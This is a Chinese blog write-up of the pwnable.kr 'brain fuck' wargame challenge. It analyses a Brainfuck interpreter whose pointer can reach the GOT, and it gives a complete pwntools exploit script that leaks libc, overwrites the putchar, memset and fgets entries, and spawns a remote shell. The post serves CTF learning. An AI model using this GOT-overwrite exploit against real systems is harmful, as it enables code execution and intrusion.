pwnable 笔记 Rookiss - brain fuck - 150 pt

20 篇文章 18 订阅
14 篇文章 0 订阅

题目分析

根据题目提示,程序是一个BrainF**k的解释器,用IDA Pro静态分析程序,程序结构很简单,如下图:
struct

main函数

IDA1
IDA2

do_brainfuck函数

fck
如上图,在do_brainfuck中可以看到程序一共支持brainf**k的6种操作>,<,+,-,.,,,具体含义如下表:

操作含义
>p += 1
<p -= 1
+(*p) += 1
-(*p) -= 1
.putchar(*p)
,getchar(p)

注:p是指向堆空间的一个指针

指针p存在bss段,如下图:
heap

既然这个指针在堆中,那么它距离got表很近,而上述的操作中正好有移动指针的操作,利用>,<前后移动指针就可以到达内存中任意区域,再利用.,,操作就可以实现对内存的读取与改写。

具体分析后发现指针p指向的区域距离GOT表中最后一个函数putchar只有112字节,我们很容易实现对GOT表的覆写。

所以这道题目主要考察GOT覆写技术

解题思路

因为最终的目的是要拿到一个shell,所以要想办法构造并执行system("/bin/sh\0")

system函数可以通过泄露内存得到,而"/bin/sh"只能从标准输入中得到

程序中有一个fgets函数,但是fgets到的字符串用于在do_brainfuck中覆写GOT表了,所以只能想别的办法找其他可以利用的函数:
func

这里挑选memsetfgets两个函数作为覆写对象正合适,原因如下:

  • puts函数不好控制参数,第一个参数为固定的字符串

  • memset的第一个参数正好可以存放我们输入的字符串"/bin/sh"

call

  • fgets紧随memset,并且第一个参数与memset相同

所以解题的大致思路为:

  • 将menset覆写为gets,从stdin中读入"/bin/sh\0"

  • 将fgets覆写为system,执行system("/bin/sh\0")获取shell

解题过程

  • 泄露putchar函数真实地址

  • 根据题目给的libc计算其他函数真实地址

  • 覆写GOT表中putchar函数为main函数地址

  • 覆写GOT表中fgets函数为system函数地址

  • 覆写GOT表中memset函数为gets函数地址

  • 返回main函数,getshell

Talk is cheap, show me your code. ~ Linus

具体的解题过程直接看代码吧

解题脚本

#!/usr/bin/python
__author__ = "TaQini"
from pwn import *

# context.log_level = 'debug'
# p = process('bf')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('bf_libc.so')
p = remote('pwnable.kr',9001)

def back(n):
    return '<'*n
def read(n):
    return '.>'*n
def write(n):
    return ',>'*n

putchar_got = 0x0804A030
memset_got  = 0x0804A02C
fgets_got   = 0x0804A010
ptr         = 0x0804A0A0

# leak putchar_addr
payload =  back(ptr - putchar_got) + '.' + read(4) 
# overwrite putchar_got to main_addr
payload += back(4) + write(4) 
# overwrite memset_got to gets_addr
payload += back(putchar_got - memset_got + 4) + write(4) 
# overwrite fgets_got to system_addr
payload += back(memset_got - fgets_got + 4) + write(4) 
# JUMP to main
payload += '.'

p.recvuntil('[ ]\n')
#gdb.attach(p)
p.sendline(payload)
p.recv(1) # junkcode

putchar_libc = libc.symbols['putchar']
gets_libc    = libc.symbols['gets']
system_libc  = libc.symbols['system']

putchar = u32(p.recv(4))
log.success("putchar = "+ hex(putchar))

gets    = putchar - putchar_libc + gets_libc
log.success("gets = "   + hex(gets))

system  = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))

main    = 0x08048671
log.success("main = "   + hex(system))

p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))

p.sendline('//bin/sh\0')
p.interactive()

More

这题的关键在于选择合适的函数去覆写,先从大局出发,确定方向,不过细节也很重要,gdb attach 在调试exp过程中起到了很大的作用,还有pwntools的context.log_level = 'debug'功能。

ok

恩..调试时的耐心也很重要… never give up

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TaQini852

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值